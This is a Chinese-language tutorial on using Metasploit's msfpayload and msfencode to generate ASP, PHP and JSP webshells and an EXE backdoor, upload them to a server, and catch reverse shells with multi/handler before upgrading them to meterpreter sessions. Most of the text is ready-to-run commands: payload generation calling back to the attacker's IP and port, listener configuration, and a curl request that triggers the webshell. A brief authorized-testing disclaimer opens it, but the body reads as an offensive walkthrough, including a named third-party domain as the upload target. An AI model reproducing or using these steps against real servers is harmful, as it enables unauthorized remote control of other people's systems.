本文所涉及的方法只能在已授權(quán)的機(jī)器上做測(cè)試。
Metasploit 擁有msfpayload 和msfencode 這兩個(gè)工具,這兩個(gè)工具不但可以生成exe 型后門,一可以生成網(wǎng)頁(yè)腳本類型的webshell ,通過(guò)生成webshell 然后設(shè)置監(jiān)聽器,訪問(wèn)webshell的url,幸運(yùn)的話可以產(chǎn)生一個(gè)session,以便進(jìn)一步利用。
下面是具體的利用方法。
我們可以通過(guò)指令查看msf里的payload 然后記住其位置:使用如下的指令來(lái)產(chǎn)生一個(gè)webshell,和前邊將的msfpayload的用法類似,只不過(guò)這里生成的是一個(gè)網(wǎng)頁(yè)腳本文件:
產(chǎn)生webshell
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然后將此webshell上傳到服務(wù)器(這個(gè)步驟要有上傳權(quán)限。)
然后啟動(dòng)msfconsole
輸入
use exploit/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(這里的payload要和前邊的msfpayload所使用的一樣。)
set LHOST your_ip
exploit
然后訪問(wèn)webshell的url,這里使用curl 訪問(wèn)curl http://host/webshell.asp ,如果exploit執(zhí)行成功的話就可以看到msfconsole中有返回meterpreter shell。
但是我使用netbox 搭建asp環(huán)境老是執(zhí)行出錯(cuò),希望讀者在實(shí)際驗(yàn)證不出錯(cuò)后再使用。
這里產(chǎn)生的是asp的webshell 也可以產(chǎn)生php webshell,jsp webshell 需要在msfencode時(shí)用-t 參數(shù)指定腳本類型,我認(rèn)為php類型的webshell更容易成功。
另外如果獲取服務(wù)器擁有可以上傳并且執(zhí)行上傳文件的權(quán)限的話,可以上傳一個(gè)msfpayload產(chǎn)生的后門,設(shè)置監(jiān)聽,然后執(zhí)行后門,返回一個(gè)session然后將session轉(zhuǎn)為meterpreter,這樣就可以方便的使用meter各種特性了。給個(gè)步驟:(前提在上邊以及說(shuō)明了)
1、msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=4444 X >/root/helen.exe
2、打開msfconsole (另外開一個(gè)terminate終端)
3、設(shè)置監(jiān)聽(監(jiān)聽這個(gè)詞好像很高級(jí),別被它嚇到):use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST=your_ip,set LPORT 4444,執(zhí)行exploit
4、將test.exe 上傳到服務(wù)器
5、在服務(wù)器上執(zhí)行test.exe 就可以返回一個(gè)shell了。
6、將windows shell 轉(zhuǎn)成 meterpreter shell:由于使用的payload是shell_reverse_tcp,看名字就知道了返回一個(gè)shell,可以在監(jiān)聽器看到返回了一個(gè)windows shell(windows 命令提示符),而不是一個(gè)meterpreter shell,這樣就要轉(zhuǎn)換了,方法是 按下Ctrl + z 使 windows shell 后臺(tái)運(yùn)行,然后sessions 指令查看 shell 的session是多少
,然后執(zhí)行 sessions -u number(number為你找到的windows shell session號(hào)。這樣就產(chǎn)生了一個(gè)meterpreter shell,可以利用meterpreter強(qiáng)大的功能。也有可能出錯(cuò),仔細(xì)看出錯(cuò)信息然后復(fù)制其一部分google一下。
可能讀者些疑問(wèn):既然可以在上傳執(zhí)行exe文件,為什么要用msf呢,直接上傳一個(gè)強(qiáng)大木馬不是更方便么。我想說(shuō)因?yàn)閙sf 中有個(gè)強(qiáng)大的Meterpreter。
總結(jié),可以發(fā)揮想象,挨個(gè)試試payloads有的payloads 不能用,也許有意外的發(fā)現(xiàn)。
當(dāng)LINUX提權(quán)反彈不了時(shí).經(jīng)常遇到這種情況 請(qǐng)出MSF ..
1 .生成WEBSHELL文件
msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
我的BT4是在/ROOT/ 目錄 然后吧dis9.php加 才能運(yùn)行
把dis9.php傳進(jìn)你的SHELL里 例如 www.dis9.com/dis9.php
2 . 然后MSF設(shè)置接口模板和參數(shù)
msf > use multi/handler //進(jìn)入 multi/handler 接口
msf exploit(handler) > set PAYLOAD php/reverse_php //寫入模塊 不清楚的可以先 info php/reverse_php 看看介紹
msf exploit(handler) > set LHOST 你的IP //生成dis9.php的LHOST的IP 也就是你的IP 要一樣
msf exploit(handler) > set LPORT 8080 //同上
msf exploit(handler) > exploit //執(zhí)行
3.反彈SHELL
然后訪問(wèn)你的dis9.php
root@bt4:linkswww.dis9.com/dis9.php
這樣就會(huì)反彈一個(gè)SHELL
我們就可以繼續(xù)FUCK ALL
/////////////////////////////////////////////////////////////////////////////////////////////////
JSP
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
——————————————————-
這里沒(méi)SET端口 默認(rèn)的4444
聯(lián)系客服